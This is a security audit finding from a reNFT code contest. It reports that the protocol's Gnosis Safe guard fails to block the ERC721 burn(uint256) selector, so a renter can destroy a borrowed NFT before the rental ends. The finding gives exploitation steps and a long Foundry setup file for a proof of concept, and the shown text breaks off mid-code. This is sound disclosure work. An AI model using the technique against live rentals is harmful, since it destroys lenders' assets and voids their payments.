code-423n4 / 2024-01-renft-findings

2 stars 0 forks source link

Guard doesn't check for `burn(uint256)` function selector in ERC721 tokens allowing an attacker to burn NFTs after renting and utilizing them for some time. #581

Closed c4-bot-9 closed 9 months ago

c4-bot-9 commented 9 months ago

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Pre-requisite knowledge & an overview of the features in question


  1. Gnosis safe guards: A gnosis guard is a contract that acts as a transaction guard which allows the owner of the safe to limit the contracts and functions that may be called by the multisig owners of the safe. ReNFT has created it's own gnosis guard contract, which is Guard.sol.

    Example: When you ask reNFT to create a rental safe for you by calling deployRentalSafe() in Factory.sol, reNFT creates a rental safe for you and automatically installs it's own guard contract on it. Everytime you send a call from your gnosis safe, this call has to first pass through that guard. If you're for example, trying to move a NFT token you rented using transferFrom(), it'll prevent you from doing so. When it intercepts the transaction you're trying to send, it checks for a list of function signatures that can be malicious, for example it checks if you're trying to enable/disable a module it has not authorized. It checks if you're trying to change the guard contract address itself, It also checks if you're trying to transfer or approve a rented NFT or ERC1155 token using the most common functions like approve(), safeTransferFrom(), transferFrom(), setApprovalForAll(). This guard acts as the single and most important defense line against rented ERC721/1155 token theft.


The Vulnerability & Exploitation Steps


The vulnerability exists in the Guard.sol contract. While the guard checks for a comprehensive list of potentially malicious function selectors such as transferFrom, safeTransferFrom, it does not check for the burn(uint256) function selector which exists in a wide variety of NFTs including the most popular ones. You can find an example of the burn(uint256) function in Openzeppelin's ERC721Burnable.sol ERC721 extension

This allows a malicious borrower to burn the token after using it for some time and before the rental ends by a small margin of time. This leads to permanent NFT loss for the lender, and he (the lender), won't be able to get the rental funds he deserved to get as a result of lending the borrower.

Proof of concept

  1. Attacker rents an NFT of ID 5 from Alex. Rental period will last 20 days
  2. Attacker uses the NFT for as long as 19~ days, and when he notices that the rental expiry data is near, he burns the NFT.

Two severe consequences happen as a result:

  1. Alex (lender) permanently lost the NFT.
  2. Alex (lender) wont be able to get the rental funds he deserved to get. Whenever he tries to call stopRent(), it will fail because the token doesn't exist in the attacker's (borrower) rental safe, so the reclaiming process will fail.

Proof of concept code


To run the PoC, you'll need to do the following:

  1. You'll need to add the following two files to the test/ folder:
    1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
    2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
  2. You'll need to run this command forge test --match-contract Exploit --match-test test_BurnableERC721_Exploit -vvv

Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one from another PoC run in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure needed for the exploit

The files:

SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { ConsiderationItem, OfferItem, OrderParameters, OrderComponents, Order, AdvancedOrder, ItemType, ItemType as SeaportItemType, CriteriaResolver, OrderType as SeaportOrderType, Fulfillment, FulfillmentComponent } from "@seaport-types/lib/ConsiderationStructs.sol"; import { AdvancedOrderLib, ConsiderationItemLib, FulfillmentComponentLib, FulfillmentLib, OfferItemLib, OrderComponentsLib, OrderLib, OrderParametersLib, SeaportArrays, ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import { OrderMetadata, OrderType, OrderFulfillment, RentPayload, RentalOrder, Item, SettleTo, ItemType as RentalItemType } from "@src/libraries/RentalStructs.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol"; import {Vm} from "@forge-std/Vm.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {LibString} from "@solady/utils/LibString.sol"; import {SafeL2} from "@safe-contracts/SafeL2.sol"; import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol"; import {Create2Deployer} from "@src/Create2Deployer.sol"; import {Kernel, Actions} from "@src/Kernel.sol"; import {Storage} from "@src/modules/Storage.sol"; import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol"; import {Create} from "@src/policies/Create.sol"; import {Stop} from "@src/policies/Stop.sol"; import {Factory} from "@src/policies/Factory.sol"; import {Admin} from "@src/policies/Admin.sol"; import {Guard} from "@src/policies/Guard.sol"; import {toRole} from "@src/libraries/KernelUtils.sol"; import {Proxy} from "@src/proxy/Proxy.sol"; import {Events} from "@src/libraries/Events.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; // Deploys all V3 protocol contracts contract Protocol is BaseExternal { // Kernel Kernel public kernel; // Modules Storage public STORE; PaymentEscrow public ESCRW; // Module implementation addresses Storage public storageImplementation; PaymentEscrow public paymentEscrowImplementation; // Policies Create public create; Stop public stop; Factory public factory; Admin public admin; Guard public guard; // Protocol accounts Vm.Wallet public rentalSigner; Vm.Wallet public deployer; // protocol constants bytes12 public protocolVersion; bytes32 public salt; function _deployKernel() internal { // abi encode the kernel bytecode and constructor arguments bytes memory kernelInitCode = abi.encodePacked( type(Kernel).creationCode, abi.encode(deployer.addr, deployer.addr) ); // Deploy kernel contract vm.prank(deployer.addr); kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode)); // label the contract vm.label(address(kernel), "kernel"); } function _deployStorageModule() internal { // abi encode the storage bytecode and constructor arguments // for the implementation contract bytes memory storageImplementationInitCode = abi.encodePacked( type(Storage).creationCode, abi.encode(address(0)) ); // Deploy storage implementation contract vm.prank(deployer.addr); storageImplementation = Storage( create2Deployer.deploy(salt, storageImplementationInitCode) ); // abi encode the storage bytecode and initialization arguments // for the proxy contract bytes memory storageProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(storageImplementation), abi.encodeWithSelector( Storage.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy storage proxy contract vm.prank(deployer.addr); STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode)); // label the contracts vm.label(address(STORE), "STORE"); vm.label(address(storageImplementation), "STORE_IMPLEMENTATION"); } function _deployPaymentEscrowModule() internal { // abi encode the payment escrow bytecode and constructor arguments // for the implementation contract bytes memory paymentEscrowImplementationInitCode = abi.encodePacked( type(PaymentEscrow).creationCode, abi.encode(address(0)) ); // Deploy payment escrow implementation contract vm.prank(deployer.addr); paymentEscrowImplementation = PaymentEscrow( create2Deployer.deploy(salt, paymentEscrowImplementationInitCode) ); // abi encode the payment escrow bytecode and initialization arguments // for the proxy contract bytes memory paymentEscrowProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(paymentEscrowImplementation), abi.encodeWithSelector( PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy payment escrow contract vm.prank(deployer.addr); ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode)); // label the contracts vm.label(address(ESCRW), "ESCRW"); vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION"); } function _deployCreatePolicy() internal { // abi encode the create policy bytecode and constructor arguments bytes memory createInitCode = abi.encodePacked( type(Create).creationCode, abi.encode(address(kernel)) ); // Deploy create rental policy contract vm.prank(deployer.addr); create = Create(create2Deployer.deploy(salt, createInitCode)); // label the contract vm.label(address(create), "CreatePolicy"); } function _deployStopPolicy() internal { // abi encode the stop policy bytecode and constructor arguments bytes memory stopInitCode = abi.encodePacked( type(Stop).creationCode, abi.encode(address(kernel)) ); // Deploy stop rental policy contract vm.prank(deployer.addr); stop = Stop(create2Deployer.deploy(salt, stopInitCode)); // label the contract vm.label(address(stop), "StopPolicy"); } function _deployAdminPolicy() internal { // abi encode the admin policy bytecode and constructor arguments bytes memory adminInitCode = abi.encodePacked( type(Admin).creationCode, abi.encode(address(kernel)) ); // Deploy admin policy contract vm.prank(deployer.addr); admin = Admin(create2Deployer.deploy(salt, adminInitCode)); // label the contract vm.label(address(admin), "AdminPolicy"); } function _deployGuardPolicy() internal { // abi encode the guard policy bytecode and constructor arguments bytes memory guardInitCode = abi.encodePacked( type(Guard).creationCode, abi.encode(address(kernel)) ); // Deploy guard policy contract vm.prank(deployer.addr); guard = Guard(create2Deployer.deploy(salt, guardInitCode)); // label the contract vm.label(address(guard), "GuardPolicy"); } function _deployFactoryPolicy() internal { // abi encode the factory policy bytecode and constructor arguments bytes memory factoryInitCode = abi.encodePacked( type(Factory).creationCode, abi.encode( address(kernel), address(stop), address(guard), address(tokenCallbackHandler), address(safeProxyFactory), address(safeSingleton) ) ); // Deploy factory policy contract vm.prank(deployer.addr); factory = Factory(create2Deployer.deploy(salt, factoryInitCode)); // label the contract vm.label(address(factory), "FactoryPolicy"); } function _setupKernel() internal { // Start impersonating the deployer vm.startPrank(deployer.addr); // Install modules kernel.executeAction(Actions.InstallModule, address(STORE)); kernel.executeAction(Actions.InstallModule, address(ESCRW)); // Approve policies kernel.executeAction(Actions.ActivatePolicy, address(create)); kernel.executeAction(Actions.ActivatePolicy, address(stop)); kernel.executeAction(Actions.ActivatePolicy, address(factory)); kernel.executeAction(Actions.ActivatePolicy, address(guard)); kernel.executeAction(Actions.ActivatePolicy, address(admin)); // Grant `seaport` role to seaport protocol kernel.grantRole(toRole("SEAPORT"), address(seaport)); // Grant `signer` role to the protocol signer to sign off on create payloads kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr); // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr); // Grant 'guard_admin` role to the address which can toggle hooks kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr); // Grant `stop_admin` role to the address which can skim funds from the payment escrow kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr); // Stop impersonating the deployer vm.stopPrank(); } function setUp() public virtual override { // setup dependencies super.setUp(); // create the rental signer address and private key rentalSigner = vm.createWallet("rentalSigner"); // create the deployer address and private key deployer = vm.createWallet("deployer"); // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract) protocolVersion = 0x000000000000000000000100; salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion); // deploy kernel _deployKernel(); // Deploy payment escrow _deployPaymentEscrowModule(); // Deploy rental storage _deployStorageModule(); // deploy create policy _deployCreatePolicy(); // deploy stop policy _deployStopPolicy(); // deploy admin policy _deployAdminPolicy(); // Deploy guard policy _deployGuardPolicy(); // deploy rental factory _deployFactoryPolicy(); // intialize the kernel _setupKernel(); } } // Creates test accounts to interact with the V3 protocol // Borrowed from test/fixtures/protocol/AccountCreator contract AccountCreator is Protocol { // Protocol accounts for testing ProtocolAccount public alice; ProtocolAccount public bob; ProtocolAccount public carol; ProtocolAccount public dan; ProtocolAccount public eve; ProtocolAccount public attacker; // Mock tokens for testing MockERC20[] public erc20s; MockERC721[] public erc721s; MockERC1155[] public erc1155s; function setUp() public virtual override { super.setUp(); // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens _deployTokens(3); // instantiate all wallets and deploy rental safes for each alice = _fundWalletAndDeployRentalSafe("alice"); bob = _fundWalletAndDeployRentalSafe("bob"); carol = _fundWalletAndDeployRentalSafe("carol"); dan = _fundWalletAndDeployRentalSafe("dan"); eve = _fundWalletAndDeployRentalSafe("eve"); attacker = _fundWalletAndDeployRentalSafe("attacker"); } function _deployTokens(uint256 numTokens) internal { for (uint256 i; i < numTokens; i++) { _deployErc20Token(); _deployErc721Token(); _deployErc1155Token(); } } function _deployErc20Token() internal returns (uint256 i) { // save the token's index i = erc20s.length; // deploy the mock token MockERC20 token = new MockERC20(); // push the token to the array of mocks erc20s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC20_", LibString.toString(i))); } function _deployErc721Token() internal returns (uint256 i) { // save the token's index i = erc721s.length; // deploy the mock token MockERC721 token = new MockERC721(); // push the token to the array of mocks erc721s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC721_", LibString.toString(i))); } function _deployErc1155Token() internal returns (uint256 i) { // save the token's index i = erc1155s.length; // deploy the mock token MockERC1155 token = new MockERC1155(); // push the token to the array of mocks erc1155s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC1155_", LibString.toString(i))); } function _deployRentalSafe( address owner, string memory name ) internal returns (address safe) { // Deploy a 1/1 rental safe address[] memory owners = new address[](1); owners[0] = owner; safe = factory.deployRentalSafe(owners, 1); } function _fundWalletAndDeployRentalSafe( string memory name ) internal returns (ProtocolAccount memory account) { // create a wallet with a address, public key, and private key Vm.Wallet memory wallet = vm.createWallet(name); // deploy a rental safe for the address address rentalSafe = _deployRentalSafe(wallet.addr, name); // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s _allocateTokensAndApprovals(wallet.addr, 10000); // create an account account = ProtocolAccount({ addr: wallet.addr, safe: SafeL2(payable(rentalSafe)), publicKeyX: wallet.publicKeyX, publicKeyY: wallet.publicKeyY, privateKey: wallet.privateKey }); } function _allocateTokensAndApprovals(address to, uint128 amount) internal { // deal ether to the recipient vm.deal(to, amount); // mint all erc20 tokens to the recipient for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].mint(to, amount); } // set token approvals _setApprovals(to); } function _setApprovals(address owner) internal { // impersonate the owner address vm.startPrank(owner); // set all approvals for erc20 tokens for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].approve(address(conduit), type(uint256).max); } // set all approvals for erc721 tokens for (uint256 i = 0; i < erc721s.length; ++i) { erc721s[i].setApprovalForAll(address(conduit), true); } // set all approvals for erc1155 tokens for (uint256 i = 0; i < erc1155s.length; ++i) { erc1155s[i].setApprovalForAll(address(conduit), true); } // stop impersonating vm.stopPrank(); } } interface ERC1155TokenReceiver { function onERC1155Received( address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns (bytes4); function onERC1155BatchReceived( address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external returns (bytes4); } interface ERC721TokenReceiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * Borrowed from gnosis safe smart contracts * @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens. * @author Richard Meissner - @rmeissner */ contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 { /** * @notice Handles ERC1155 Token callback. * return Standardized onERC1155Received return value. */ function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) { return 0xf23a6e61; } /** * @notice Handles ERC1155 Token batch callback. * return Standardized onERC1155BatchReceived return value. */ function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure override returns (bytes4) { return 0xbc197c81; } /** * @notice Handles ERC721 Token callback. * return Standardized onERC721Received return value. */ function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) { return 0x150b7a02; } /** * @notice Handles ERC777 Token callback. * return nothing (not standardized) */ function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure { // We implement this for completeness, doesn't really have any value } /** * @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165. * @param interfaceId Id of the interface. * @return if the interface is supported. */ function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) { return interfaceId == type(ERC1155TokenReceiver).interfaceId || interfaceId == type(ERC721TokenReceiver).interfaceId || interfaceId == type(IERC165).interfaceId; } } // Sets up logic in the test engine related to order creation // Borrowed from test/fixtures/engine/OrderCreator contract OrderCreator is AccountCreator { using OfferItemLib for OfferItem; using ConsiderationItemLib for ConsiderationItem; using OrderComponentsLib for OrderComponents; using OrderLib for Order; using ECDSA for bytes32; // defines a config for a standard order component string constant STANDARD_ORDER_COMPONENTS = "standard_order_components"; struct OrderToCreate { ProtocolAccount offerer; OfferItem[] offerItems; ConsiderationItem[] considerationItems; OrderMetadata metadata; } // keeps track of tokens used during a test uint256[] usedOfferERC721s; uint256[] usedOfferERC1155s; uint256[] usedConsiderationERC721s; uint256[] usedConsiderationERC1155s; // components of an order OrderToCreate orderToCreate; function setUp() public virtual override { super.setUp(); // Define a standard OrderComponents struct which is ready for // use with the Create Policy and the protocol conduit contract OrderComponentsLib .empty() .withOrderType(SeaportOrderType.FULL_RESTRICTED) .withZone(address(create)) .withStartTime(block.timestamp) .withEndTime(block.timestamp + 100) .withSalt(123456789) .withConduitKey(conduitKey) .saveDefault(STANDARD_ORDER_COMPONENTS); // for each test token, create a storage slot for (uint256 i = 0; i < erc721s.length; i++) { usedOfferERC721s.push(); usedConsiderationERC721s.push(); usedOfferERC1155s.push(); usedConsiderationERC1155s.push(); } } ///////////////////////////////////////////////////////////////////////////////// // Order Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order based on the provided context. The defaults on this order // are good for most test cases. function createOrder( ProtocolAccount memory offerer, OrderType orderType, uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers, uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) internal { // require that the number of offer items or consideration items // dont exceed the number of test tokens require( erc721Offers <= erc721s.length && erc721Offers <= erc1155s.length && erc20Offers <= erc20s.length, "TEST: too many offer items defined" ); require( erc721Considerations <= erc721s.length && erc1155Considerations <= erc1155s.length && erc20Considerations <= erc20s.length, "TEST: too many consideration items defined" ); // create the offerer _createOfferer(offerer); // add the offer items _createOfferItems(erc721Offers, erc1155Offers, erc20Offers); // create the consideration items _createConsiderationItems( erc721Considerations, erc1155Considerations, erc20Considerations ); // Create order metadata _createOrderMetadata(orderType); } // Creates an offerer on the order to create function _createOfferer(ProtocolAccount memory offerer) private { orderToCreate.offerer = offerer; } // Creates offer items which are good for most tests function _createOfferItems( uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers ) private { // generate the ERC721 offer items for (uint256 i = 0; i < erc721Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedOfferERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // mint an erc721 to the offerer erc721s[i].mint(orderToCreate.offerer.addr); // update the used token so it cannot be used again in the same test usedOfferERC721s[i]++; } // generate the ERC1155 offer items for (uint256 i = 0; i < erc1155Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedOfferERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // mint an erc1155 to the offerer erc1155s[i].mint(orderToCreate.offerer.addr, 100); // update the used token so it cannot be used again in the same test usedOfferERC1155s[i]++; } // generate the ERC20 offer items for (uint256 i = 0; i < erc20Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates consideration items that are good for most tests function _createConsiderationItems( uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) private { // generate the ERC721 consideration items for (uint256 i = 0; i < erc721Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedConsiderationERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // update the used token so it cannot be used again in the same test usedConsiderationERC721s[i]++; } // generate the ERC1155 consideration items for (uint256 i = 0; i < erc1155Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedConsiderationERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // update the used token so it cannot be used again in the same test usedConsiderationERC1155s[i]++; } // generate the ERC20 consideration items for (uint256 i = 0; i < erc20Considerations; ++i) { // create the offer item orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(ESCRW)) .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates a order metadata that is good for most tests function _createOrderMetadata(OrderType orderType) private { // Create order metadata orderToCreate.metadata.orderType = orderType; orderToCreate.metadata.rentDuration = 500; orderToCreate.metadata.emittedExtraData = new bytes(0); } // creates a signed seaport order ready to be fulfilled by a renter function _createSignedOrder( ProtocolAccount memory _offerer, OfferItem[] memory _offerItems, ConsiderationItem[] memory _considerationItems, OrderMetadata memory _metadata ) private view returns (Order memory order, bytes32 orderHash) { // Build the order components OrderComponents memory orderComponents = OrderComponentsLib .fromDefault(STANDARD_ORDER_COMPONENTS) .withOfferer(_offerer.addr) .withOffer(_offerItems) .withConsideration(_considerationItems) .withZoneHash(create.getOrderMetadataHash(_metadata)) .withCounter(seaport.getCounter(_offerer.addr)); // generate the order hash orderHash = seaport.getOrderHash(orderComponents); // generate the signature for the order components bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash); // create the order, but dont provide a signature if its a PAYEE order. // Since PAYEE orders are fulfilled by the offerer of the order, they // dont need a signature. if (_metadata.orderType == OrderType.PAYEE) { order = OrderLib.empty().withParameters(orderComponents.toOrderParameters()); } else { order = OrderLib .empty() .withParameters(orderComponents.toOrderParameters()) .withSignature(signature); } } function _signSeaportOrder( uint256 signerPrivateKey, bytes32 orderHash ) private view returns (bytes memory signature) { // fetch domain separator from seaport (, bytes32 domainSeparator, ) = seaport.information(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(orderHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Order Amendments // ///////////////////////////////////////////////////////////////////////////////// function resetOrderToCreate() internal { delete orderToCreate; } function withOfferer(ProtocolAccount memory _offerer) internal { orderToCreate.offerer = _offerer; } function resetOfferer() internal { delete orderToCreate.offerer; } function withReplacedOfferItems(OfferItem[] memory _offerItems) internal { // reset all current offer items resetOfferItems(); // add the new offer items to storage for (uint256 i = 0; i < _offerItems.length; i++) { orderToCreate.offerItems.push(_offerItems[i]); } } function withOfferItem(OfferItem memory offerItem) internal { orderToCreate.offerItems.push(offerItem); } function resetOfferItems() internal { delete orderToCreate.offerItems; } function popOfferItem() internal { orderToCreate.offerItems.pop(); } function withReplacedConsiderationItems( ConsiderationItem[] memory _considerationItems ) internal { // reset all current consideration items resetConsiderationItems(); // add the new consideration items to storage for (uint256 i = 0; i < _considerationItems.length; i++) { orderToCreate.considerationItems.push(_considerationItems[i]); } } function withConsiderationItem(ConsiderationItem memory considerationItem) internal { orderToCreate.considerationItems.push(considerationItem); } function resetConsiderationItems() internal { delete orderToCreate.considerationItems; } function popConsiderationItem() internal { orderToCreate.considerationItems.pop(); } function withHooks(Hook[] memory hooks) internal { // delete the current metatdata hooks delete orderToCreate.metadata.hooks; // add each metadata hook to storage for (uint256 i = 0; i < hooks.length; i++) { orderToCreate.metadata.hooks.push(hooks[i]); } } function withOrderMetadata(OrderMetadata memory _metadata) internal { // update the static metadata parameters orderToCreate.metadata.orderType = _metadata.orderType; orderToCreate.metadata.rentDuration = _metadata.rentDuration; orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData; // update the hooks withHooks(_metadata.hooks); } function resetOrderMetadata() internal { delete orderToCreate.metadata; } ///////////////////////////////////////////////////////////////////////////////// // Order Finalization // ///////////////////////////////////////////////////////////////////////////////// function finalizeOrder() internal returns (Order memory, bytes32, OrderMetadata memory) { // create and sign the order (Order memory order, bytes32 orderHash) = _createSignedOrder( orderToCreate.offerer, orderToCreate.offerItems, orderToCreate.considerationItems, orderToCreate.metadata ); // pull order metadata into memory OrderMetadata memory metadata = orderToCreate.metadata; // clear structs resetOrderToCreate(); return (order, orderHash, metadata); } } // Sets up logic in the test engine related to order fulfillment // Borrowed from test/fixtures/engine/OrderFulfiller contract OrderFulfiller is OrderCreator { using ECDSA for bytes32; struct OrderToFulfill { bytes32 orderHash; RentPayload payload; AdvancedOrder advancedOrder; } // components of a fulfillment ProtocolAccount fulfiller; OrderToFulfill[] ordersToFulfill; Fulfillment[] seaportMatchOrderFulfillments; FulfillmentComponent[][] seaportOfferFulfillments; FulfillmentComponent[][] seaportConsiderationFulfillments; address seaportRecipient; ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order fulfillment function createOrderFulfillment( ProtocolAccount memory _fulfiller, Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) internal { // set the fulfiller account fulfiller = _fulfiller; // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via // `matchAdvancedOrders`, then any unspent offer items will go to this address as well seaportRecipient = address(_fulfiller.safe); // get a pointer to a new order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill.push(); // create an order fulfillment OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe)); // add the order hash and fulfiller orderToFulfill.orderHash = orderHash; // create rental zone payload data _createRentalPayload( orderToFulfill.payload, RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr) ); // generate the signature for the payload bytes memory signature = _signProtocolOrder( rentalSigner.privateKey, create.getRentPayloadHash(orderToFulfill.payload) ); // create an advanced order from the order. Pass the rental // payload as extra data _createAdvancedOrder( orderToFulfill.advancedOrder, AdvancedOrder( order.parameters, 1, 1, order.signature, abi.encode(orderToFulfill.payload, signature) ) ); } function _createOrderFulfiller( ProtocolAccount storage storageFulfiller, ProtocolAccount memory _fulfiller ) private { storageFulfiller.addr = _fulfiller.addr; storageFulfiller.safe = _fulfiller.safe; storageFulfiller.publicKeyX = _fulfiller.publicKeyX; storageFulfiller.publicKeyY = _fulfiller.publicKeyY; storageFulfiller.privateKey = _fulfiller.privateKey; } function _createOrderFulfillment( OrderFulfillment storage storageFulfillment, OrderFulfillment memory fulfillment ) private { storageFulfillment.recipient = fulfillment.recipient; } function _createOrderMetadata( OrderMetadata storage storageMetadata, OrderMetadata memory metadata ) private { // Create order metadata in storage storageMetadata.orderType = metadata.orderType; storageMetadata.rentDuration = metadata.rentDuration; storageMetadata.emittedExtraData = metadata.emittedExtraData; // dynamically push the hooks from memory to storage for (uint256 i = 0; i < metadata.hooks.length; i++) { storageMetadata.hooks.push(metadata.hooks[i]); } } function _createRentalPayload( RentPayload storage storagePayload, RentPayload memory payload ) private { // set payload fulfillment on the order to fulfill _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment); // set payload metadata on the order to fulfill _createOrderMetadata(storagePayload.metadata, payload.metadata); // set payload expiration on the order to fulfill storagePayload.expiration = payload.expiration; // set payload intended fulfiller on the order to fulfill storagePayload.intendedFulfiller = payload.intendedFulfiller; } function _createAdvancedOrder( AdvancedOrder storage storageAdvancedOrder, AdvancedOrder memory advancedOrder ) private { // create the order parameters on the order to fulfill _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters); // create the rest of the static parameters on the order to fulfill storageAdvancedOrder.numerator = advancedOrder.numerator; storageAdvancedOrder.denominator = advancedOrder.denominator; storageAdvancedOrder.signature = advancedOrder.signature; storageAdvancedOrder.extraData = advancedOrder.extraData; } function _createOrderParameters( OrderParameters storage storageOrderParameters, OrderParameters memory orderParameters ) private { // create the static order parameters for the order to fulfill storageOrderParameters.offerer = orderParameters.offerer; storageOrderParameters.zone = orderParameters.zone; storageOrderParameters.orderType = orderParameters.orderType; storageOrderParameters.startTime = orderParameters.startTime; storageOrderParameters.endTime = orderParameters.endTime; storageOrderParameters.zoneHash = orderParameters.zoneHash; storageOrderParameters.salt = orderParameters.salt; storageOrderParameters.conduitKey = orderParameters.conduitKey; storageOrderParameters.totalOriginalConsiderationItems = orderParameters .totalOriginalConsiderationItems; // create the dynamic order parameters for the order to fulfill for (uint256 i = 0; i < orderParameters.offer.length; i++) { storageOrderParameters.offer.push(orderParameters.offer[i]); } for (uint256 i = 0; i < orderParameters.consideration.length; i++) { storageOrderParameters.consideration.push(orderParameters.consideration[i]); } } function _createSeaportFulfillment( Fulfillment storage storageFulfillment, Fulfillment memory fulfillment ) private { // push the offer components to storage for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) { storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]); } // push the consideration components to storage for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) { storageFulfillment.considerationComponents.push( fulfillment.considerationComponents[i] ); } } function _seaportItemTypeToRentalItemType( SeaportItemType seaportItemType ) internal pure returns (RentalItemType) { if (seaportItemType == SeaportItemType.ERC20) { return RentalItemType.ERC20; } else if (seaportItemType == SeaportItemType.ERC721) { return RentalItemType.ERC721; } else if (seaportItemType == SeaportItemType.ERC1155) { return RentalItemType.ERC1155; } else { revert("seaport item type not supported"); } } function _createRentalOrder( OrderToFulfill memory orderToFulfill ) internal view returns (RentalOrder memory rentalOrder) { // get the order parameters OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters; // get the payload RentPayload memory payload = orderToFulfill.payload; // get the metadata OrderMetadata memory metadata = payload.metadata; // construct a rental order rentalOrder = RentalOrder({ seaportOrderHash: orderToFulfill.orderHash, items: 